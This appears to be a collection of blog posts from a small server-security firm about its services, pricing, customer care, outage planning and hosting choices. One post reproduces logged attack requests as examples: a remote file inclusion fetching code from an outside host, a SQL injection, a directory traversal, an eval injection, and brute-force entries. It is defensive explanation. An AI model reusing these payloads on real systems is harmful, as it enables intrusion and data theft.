One may ask what does a SoftLayer Certified Partner do?

While SoftLayer has a variety of Certified Partners, Dynamic Net, Inc. is a SoftLayer Certified Partner that specializes in server security and server administration.

Server security includes, but is not limited to hacker clean up, server hardening (securing a server against hackers), security audits, server migrations, disk clean up (i.e. /var partition full), mysql optimization, apache optimization, php optimization, trouble shooting high server cpu utilization, trouble shooting high server load, and much more.

Our U.S.-based, level 3, high skilled skilled staff work with cpanel, Parallels H-Sphere, and Parallels Plesk as well as Linux-based servers not running an automation system.

We do work on a contract basis with a deposit prior to any work being started; and once a client is under contract, can often perform new work on just a phone call or an email.

Most of our customers are small businesses that fall under the radar of what a government calls a small business (i.e. one to ten employees, often far less than a million in annual sales) where money is tight.

While we are far from cheap for our rates, we do bill fairly and can often finish tasks with higher quality and speed than a less skilled party who charges a lot less.

If you have servers with SoftLayer and need security and server administration services, please contact us to go over your needs.

We enjoy working on new projects and with customers building long term relationships.

I lost track of how many times I’ve heard that phrase or variations like it to justify business decisions whether it be employer vs. employee or business vs. customer.

If your focus is building and maintaining relationships, the “vs” should always be a red flag. If your focus is on the dollar, then you might miss the “vs.” part of the equation.

How many of you have heard the phrase, penny wise and dollar foolish?

May I propose to you that if you believe “This is business, not personal” when it comes to any relationship, you are losing more dollars than if you treat every issue as being very personal?

How much longer do relationships survive if you treat each one with loving care? That each decision and action are personal to the recipient; and, their feelings always matter.

What’s the life time value of your customers? Do you want that life blood to be extended for as long as possible? Then consider making it very personal in the right ways.

What are your thoughts? Please share them in the comment area below.

Let me share with you some tools you can use to save you time; and, still allow you to participate in the social media arena.

BufferApp has a free version, and an upgraded (paid) version.

BufferApp allows you to pre-schedule your posts to Twitter, Facebook, and LinkedIn.

Personally, I use the free version of BufferApp to schedule ten (10) twitter posts; and as the day goes by, I re-fill those ten so that come 8 PM at night there’s 10 posts ready for the next day.

TweetDeck, currently my favorite tool for Twitter gives you the ability to schedule posts far out (much more than the Buffer free version) along with keep track of various searches, your twitter inbox and more.

Another alternative, one that has a lot of flexibility but runs slower than a snail (even on a brand new computer, 16 GB RAM, Intel I7-2700 3.50 GHz CPU) is Hootsuite that beats out both of the above in that you can really get into managing and scheduling with a large number of social networks.

Oh, before I forget, if you get involved in twitter chats, I highly recommend TweetChat.

Now for time saving steps:

• Schedule out your tweets using BufferApp or TweetDeck or HootSuite.
• For Facebook, consider using scheduled posts vs. an application.
• For LinkedIn, while you could use BufferApp or HootSuite, I find it better to really go niche for what you post which means you will be posting more quality, less often. That means you often don’t need a tool to do it for you.

In the end, just like in the road sign picture — stay focused on building your business, and living your life.

Small Business Resource: Customer Loyalty 3.0: How to Avoid Getting Customer Loyalty and Social Media Backwards

Do you have tools or techniques you use to save time on social networking? Share them in the comments below.

The next time I get a phone call to go over hacker clean up, server hardening, server administration where the prospective customer is more concerned over the $100.00 per hour rate than the problem costing them customers and potentially their business, I hope remember to share with them this article.

Imagine reading Service Suspension – Ongoing unanswered abuse complaints thinking to yourself, the person is in a jamb…. I hope they get someone who can really help them (maybe we could, not sure), then later on reading the person who initiated the post also runs a “All you can Eat” (i.e. unlimited support tickets, unlimited labor time) server administration business where they advertise a long list of what they can do for you for just $15.00 per month. I guess, they are so packed with work they could not solve their own problems.

Imagine, for just $15.00 per month you “24/7/365 USA-Based Technical Support” plus “24/7/365 Server Monitoring (5 Minute Intervals)” of your servers plus “Guaranteed 15 Minute Response On Monitoring Alerts” and so much more… sounds like a great deal? Right?

Now, I’m sure if you did a study of people who have heard and even believe in the quote, “you get what you pay for,” or variations of it, the percentage would be high.

Yet, how many actually do their homework to determine if something is really to good to be true?

For example, would you know right away that $15.00 per month for 24×7 coverage 365 days per year with a guaranteed response time of 15-minutes and unlimited administrator work (i.e. unlimited hours of work per month) was a deal too good to be true?

What if they removed the word, “unlimited,” and only included one hour per month? Would it then be more realistic?

In order to answer that question, what’s the going hourly rate for a server administrator? For a security administrator?

In the United States, for a server administrator, the going hourly rate ranges from $30.00 per hour to $52.00 per hour; for security administrators, the hourly rate ranges from $38.00 per hour to $56.00 per hour. In both cases, that doesn’t include benefits.

If a company is saying you get just even one hour for $15.00 when the going rate for an experienced party is $30.00 to $38.00 at a minimum….. get the picture?

You might get marketing speak that the employees multi-task and can work on many tasks at the same time… but isn’t that like someone who worked 2,000 real hours putting down 6,000 billable hours?

What are your thoughts on this subject? Did you purchase time thinking the rate was good or even average only to find out you were taken in by a “too good to be true” event? Let us know your thoughts below.

One of the reasons businesses fail is due to having a rate which doesn’t allow the business to be self sufficient in paying the bills including taxes.

Allow me to share with you lessons I’ve learned over the past 17 years with how to determine your hourly rate.

Let’s start off with a homework assignment.

• What is your target annual salary including benefits (this must be a dollar figure, not a list of what benefits)?
• If your business were to take off, what job functions would you need to hire employees to cover?

• Would those job functions be directly involved in producing revenue (eg production worker or sales / marketing that generates work for production worker(s) or overhead (eg book keeping)?
• What is the going annual pay rate for those positions (even if just an hourly job, take estimated hours they will work in a year times the hourly rate; do include benefits in the overall annual figure)? Your local Chamber of Commerce and library may have this information for you (just ask).
• What are the hourly rates charged by those with whom you would be competing? What’s the lowest? What’s the highest? What’s the median? What’s the average? You can often find out this information in various LinkedIn groups as well as associated business forums.
• For the type of business you will be doing, what are the annual fees of any licenses, insurance, etc. as well as other direct costs of doing business?
• How does the quality of your work compare to those with whom you would be competing?

Now, let’s deal with the simple part — what if you are gong to be a Soloprenuer (this is extremely legitimate) or otherwise a one person business?

In that case take the very first number — What is your target annual salary including benefits — and divide it by 1,000. That will be your base hourly rate.

Where does the 1,000 come from? Are there not 2,080 hours in a business year? Well, yes; but, if you take vacation and allow yourself sick and personal days, you are down to 2,000 hours.

Out of the 2,000 remaining hours comes marketing, networking, connecting, writing proposals, follow ups, cold calling, follow ups, administrative tasks, and finally billable work for which your goal should be at least 1,000 hours.

Chances are high that in your first one to several years, you might spend 500 hours on billable work; and you may want to consider that as part of determining your rate.

If your target salary plus benefits is $75,000.00 (keep in mind health care is very expensive), then you are looking at billing out at $75.00 per hour ($75,000 / 1,000) as a ball park rate.

From here, compare to your competition; but do not short yourself if they are charging the same or less. Look at the values you bring to the table.

By the way, if your competitors normally does packages and and all you can get from your competition is package pricing, realize that time almost always goes into creating, developing, and implementing the package. Try to find how long they take, and then you can determine the hourly rate. Also, how long would you take to create, develop, implement the same thing? Where would you be better? faster? more accurate? a better investment? why?

As you are doing your homework in these areas, what are your direct and indirect costs? The direct ones should be factored into your rate. The indirect ones should also be incorporated into your rate if the indirect fee is not something you would pay anyway if you were not in business for yourself (i.e. you typically don’t include your meals as part of the cost of running your business).

So, how do you adjust that ball park hourly rate for your other costs? You convert them to yearly, then divide the the same $1,000.00. Then add this to your ball park.

Let’s chart this out:

The idea, for you, is to do your best to chart out what it will take; and then convert them into what should be your rate based on billing out at least 1,000 hours per year. FYI, this is a good area to get your accountant involved, check out small business books dealing with common business costs from the library, and check with your local chamber of commerce.

Once you start gathering numbers, the above gets to be extremely easy.

Where things can get complicated is when you get to the point where will move from Soloprenuer to where you have employees working for you. In that case, employees fall into one of three categories:

1. They generate sales for you and whomever else is doing the production work to ensure you have 1,000 or more billable hours. If it is just the two of you, billable hours should be 1,200 to 1,600 hours per year. While your divisor now goes up from 1,000 to as much as 1,600 (early on, I would use 1,200 to start until you get a handle on how much of a sales increase the person does bring in), you will need to incorporate their salary plus benefits plus costs.
2. They are production workers who do the billable work. While you might find production workers who can get their own 1,000 or more billable hours, generally the production worker just works on production. For a two person operation, that puts you in sales and marketing where you would need to make sure the production person has 1,200 to 1,600 hours per year of billable work.
3. Back end support – office management, accounting, clerical, but possibly I.T. or related if your business line requires such to help in what you do. This last group, while often vital based on where you are at with the growth of your business, is 100% overhead. This means their salaries plus benefits plus any other costs need to be added into the hourly rate.

The above is where I’ve seen a number of businesses fail over the years. The business starts off as a one person operation who realizes once the business starts to take off, they need one to several more people working the dream with them, but either cannot afford to pay them because their rates are so low, or do pay them the going rates, but run out of cash and end up in a lot of debt.

What’s your take on the math for handling a consulting type business (you get paid by the hour; you and your team are the product / service) for when there are two employees (one sales, one production or potentially one of each)? When there are three employees (one sales, two production)?

Let me know in the comments below.

Just after ceremony of our daughter’s graduation from culinary school, I was paged with the message the Internet connectivity was down to the facility.

I was able to verify the loss of Internet connectivity as we drove home; and then it became the dance between getting updates from the co-location facility in Lancaster, PA and providing updates to our customers.

This was the very first major outage the co-location facility has had in years; and, the very first outage that we experience since becoming their customer a little over two years ago.

The outage started shortly after 5:00 PM Eastern Time, and as it started to head past 11:00 PM, we had were faced with the following issues:

1. Off site backups would fail (as the backup server in Lancaster, PA could not reach out to the servers for which backup is scheduled).
2. Email to our customers that go through the anti-spam appliance would bounce.

Thank Jesus, we did have a Plan B for the mail appliance.

We would redirect the MX (mail exchange) record to point directly to our mail servers rather than the anti-spam appliance. While there would be an increase in spam delivered, at least mail delivery would have minimal impact.

While we did wait as long as possible to see if we had to implement plan b, we ended up doing so shortly before 3 AM Eastern Time.

Thankfully, connectivity with the local co-location facility was restored around noon time the next day; and we were able to shift gears back to the anti-spam appliance… and we only lost one day of not backing up.

While we had Plan B planned out, we got to experience the hick ups (oh, we forgot about customer abc that routes to a different mail server); and we updated our documentation if Plan B is ever needed again.

Please share yours in the comment section below.

My heart goes out to those families who have lost loved ones; and to the many who went through much hardship, especially compared to the little we ended up going through.

Just days prior to storm Sandy, our local power company contacted us to let us know that their may be multiple power surges and small outages; and, if there was a major outage, it could last three days.

Closer to the storm actually hitting our area, the power company shared that if there was a major outage, the power could be out for a week or longer.

Based on lessons we learned from a lightning storm earlier this year, we moved to an Internet-based telephone system.

The caveat of this move was that no electricity equals lack of Internet equals no business phone system.

Our plan A (which we did communicate with our customers the day before the storm landed) for if and when power went out was to use our netbook, laptop, and cell phones sparingly. We ball parked that if we checked voice mail and support tickets four times a day (given that each ticket may require time for a response, may require work on the server(s), etc.), accounting and sales once a day, we could last out three days without power. But a week or longer? We did not have a plan B.

My father-in-law shared there are devices that convert car electricity to that which can be used by a laptop or other small portable devices. We found this on Amazon.com, and my father-in-law loaned us a similar one. So that would cover the power to a degree.

Personally, we were able to get a hold of a Coleman Two-Burner Propane Stove for which we believed we could use just outside in a covered area; but propane canisters were out at most locations. That would mean rationed use to make the most of our one canister.

Thank Jesus that while we did have a number of power surges that Monday night with some less than two minute power outages, we did not lose power.

One of our family members are still without power as I write this article; they do have a power generator they’ve been using sparingly.

We got off easy compared to many others.

While they are calling storm Sandy the worst storm of our times (on the East Coast at least), and there may not be anything near that for some time, we are now thinking and re-thinking what we need to have on hand if there are any future cases where our office as well as home would be without power or Internet for extended periods of time.

If you were in the path of storm Sandy, how was your business impacted? Where you without power for any period of time? How did you make due in terms of managing your business (especially if it is Internet-facing / based)? Please share below.

That’s right, everyone is a potential target — not just the big names, not just the rich companies, etc.

Now, web-based hack attempts come in many forms ranging from brute force to SQL injections.

Here’s a list of the common types including links to their definitions:

• Brute Force Attack
• Cross Site Scripting Attack
• Directory Traversal Attack
• Local file inclusion
• Remote file inclusion
• SQL Injection attack

I would like to share with you what each of the above types looks like from a log file or security report perspective.

The following comes from our proactive security monitoring service as well the reports we receive from our global security service.

I’m going to start off with the most common type we see which is remote file inclusion:

184.107.145.18 - - [06/Sep/2012:01:13:27 -0400] "GET /packages//wp-content/themes/metamorphosis/functions/thumb.php?src=http://www.blogger.com.moulinsaeau-41.org/cache.php HTTP/1.1" 404 3612 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2)

The above is timthumb attack where the attacker believes the Metamorphosis theme for WordPress if vulnerable; and they are trying to include the code from http://www.blogger.com.moulinsaeau-41.org/cache.php through the potential vulnerability.

The next type is an SQL injection attack:

84.235.73.226 - - [09/Sep/2012:01:16:03 +0100] "GET /merchandise.php?id=-999.9%20UNION%20ALL%20SELECT%20(SELECT%20distinct%20concat(0x7e,0x27,Hex(cast(table_name%20as%20char)),0x27,0x7e)%20FROM%20information_schema.tables%20Where%20table_schema=0x6A6F686E73746F6E5F6965%20limit%200,1),2,3,4,5-- HTTP/1.1" 500 3506 "-" "-" UEvfw1Qz7pgAAGfUdE0 "-"

The next is a directory traversal attack:

195.157.13.221 - - [05/Sep/2012:21:28:20 +0100] "GET /vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00 HTTP/1.1" 500 3506 "-" "-" UEe15FQz7pAAABD2KuM "-"

What follows is an example of a local file inclusion:

190.90.209.251 - - [05/Sep/2012:18:13:46 +0100] "GET /phpMyAdmin//config/config.inc.php?eval=echo%20md5(123); HTTP/1.1" 500 3506 "-" "-" UEeISlWFNc8AABl2Nvw "-"

Below are two examples of brute force — one for SSH, the other for email:

sshd[21192]: Invalid user deploy from 64.185.229.239
vpopmail[7134]: vchkpw-pop3: vpopmail user not found webmaster@:88.43.116.246

Do you review your hosting log files on a regular basis to see what attacks are getting through or being blocked?

Is your provider doing this for you?

Please let us know your questions and thoughts in the comments below.

I really appreciate being on both ends of giving and receiving as each encounter is an opportunity to learn, to adapt, to change, and to improve.

Part of that picture is hearing and seeing something you know makes sense and is true, and then growing into it (i.e. I know, I know… but don’t do… then ah ha… put it in action, silly).

One of the customer service 101 lessons involves being technically correct, but presenting the situation in a way that devalues the relationship.

In every relationship, you have choices. You can chose to always be right (i.e. technically correct), or you can choose to be in a relationship. If you value long term relationships like me, you will do your best to focus on the relationship rather than who is right and how often.

Every encounter you have with your customers, your employees, your partners is an opportunity for you to establish (or re-establish) relationship values or diminish them. The more they are diminished, the more likely the relationship will end.

Let me give you two examples. First is on the giving end, the second on the receiving end.

A customer puts in a support ticket about Spam Assassin incorrectly tagging valid email as being suspected as spam. In the email, the customer also complains about higher than normal real spam getting through.

A technically correct response might go into explaining Spam Assassins scoring mechanism, about white listing and how white listing only lowers the chance about tagging, etc. as well as just telling the customer to forward the actual spam that got through to the anti-spam appliance engineers.

A customer relationship response is to call the customer on the phone to go over the Spam Assassin settings, ask if it is ok to outright disable Spam Assassin (duplication of anti-spam — and in the particular case only tagging incorrectly), as well as go over the differences between the anti-spam appliance and Spam Assassin, the benefit of training the system. Plus empathizing with the customer for the spam that does get through by both disliking spam as well as sharing no system is perfect including our own anti-spam system.

The phone call also allowed a check in on an upcoming trip the client is looking forward to taking along with making sure the customer understands how much they are valued as a customer.

On the receiving end, I tend to perform backups more than the average person knowing the value of having a recent backup over an old backup or no backup at all. Some of the backups I take cover plan B and plan C for data recovery (do you have multiple plans for recover in case your primary plan doesn’t work as intended?).

One of the backup methods started failing, and I opened a ticket with the data center whose private network I was using to do the backup to see if they could help.

All of the initial responses were technically correct. Yet, all of them ended with, if you don’t respond within four days, the ticket will close. The problem still existed. I persisted and literally asked for a hero to step up to the plate (I’m sharing this because my personal feelings is that not all customers will be patient and ask for a hero when there appears to be no hero; they may just move on). The partner did step it up several notches, and moved from being technically correct to providing alternatives, in depth responses as well as viable alternatives and a phone call.

They were also open to passing along to the entire team about the differences between being right (technically correct) and being right plus promoting the relationship.

Please consider the following thoughts:

• You are in various relationships between family, friends, work, et al.
• Those relationships do matter.
• Does it matter who is right how often or does it matter more to have a long lasting relationship?
• As you respond to parties in your relationship is your focus about keeping and improving the relationship because the other party matters?
• What can you do daily to step up to the plate and be a hero?

What are your thoughts? Please share in the comments below.

I also hear the variations of the above that often come in the form of, “my _______ told me I needed a dedicated server; what do you think?”

Let me share with you some thoughts and guidelines which will hopefully help you, if you are in the position of asking this question for your organization.

Oh, before I forget, let’s do some simple house keeping first.

1. Shared hosting is where one to many sites from different customers are hosted in the same environment (which in today’s age, could be in the cloud, one or more dedicated servers, or even one or more virtual machines). This environment is very similar to an apartment complex or condo where a number of resources are shared among the consumers.
2. VPS or virtual private server is where a slice of a cloud or dedicated server is provisioned for use by one customer.
3. Dedicated is where one to many physical servers are provisioned for use by one customer.
4. Cloud is where customers can provision off the exact resources they need within the scope of the provider; and modify what they need on demand (or close enough).

While stability in the cloud continues to improve, most of this article is going to be dedicated to the 1st three of the above as most of our customer base are businesses where stability and reliability matter more than being on the cutting edge of technology.

Let me walk you through some what if statements that generally lead to the type of hosting you will need.

What if I know exactly what resources — RAM, hard drive space, CPU power, bandwidth, etc. — I need, and I love to micromanage (I’ll be sure to check x times per y period if I need to add or reduce specific resources)? Well, then your best bet would be Cloud hosting where you decide what you need, pay for only what you use, and you have the ability to spend your time micromanaging the solution.

What if I know the specific server (i.e. web server, email server, database server, etc. — which is very different from end user applications such as WordPress, Joomla, or Drupal) software I want to run, and I want to have version control of the server software? Then you are looking at Cloud, Dedicated, or VPS.

What if I want to manage my own hosting environment? Then you are looking at Cloud, Dedicated, or VPS.

Ok, I’m a developer (or my developer shared) and I’m ok with shared hosting, but I know in advance my custom (often site-based) application(s) will require 30 or more simultaneous mySQL connections, at least 256 MB of dedicated RAM, and 50+ simultaneous Apache clients per second. What do I need? Chances are high you are looking at Cloud, Dedicated, or VPS. The more the RAM, mysql connections, and processes (overall, not just Apache), the higher the probability you would need Cloud or Dedicated.

What if I have a brand new site? Then shared hosting will probably fit you for a period of time.

What if I will be running stock site-based software such as WordPress, Drupal, and Joomla? Then shared hosting will most likely fit you.

What are the pros and cons of each type of hosting?

Cloud, Dedicated, and VPS — unless specifically provided as a managed service (and then you need to ask what is being managed?) — puts you in control of the hosting environment. You and your team are the security administrator, the server administrator, and the general house keeper.

The pro for Cloud, Dedicated, and VPS is sharing is limited (for Cloud and VPS there is still sharing of the physical hardware involved to a degree) to non exist (dedicated, it is all yours). You often get to run the operating system and version of your choice, the web server and version of your choice, the database server and version of your choice, and so on.

Shared hosting often comes with management; and if you are with solid company between a hosting automation system and their support, your hands are held through the years.

The con for shared hosting is that if you have special needs for the server-based software, you are at the mercy of whether the provider can meet those needs without impacting their other customers or not. In the latter case, you often have the choice to upgrade to a VPS, Dedicated, or Cloud; and most providers who offer multiple types of hosting will provide free migrations from one of their platforms to another (just be sure to ask rather than assume).

What about you?

What has your experience been in terms of finding out the type of hosting you need?

What type of hosting are you using now? Why did you pick that type of hosting?

Please use the comments to let us know.

Thank you.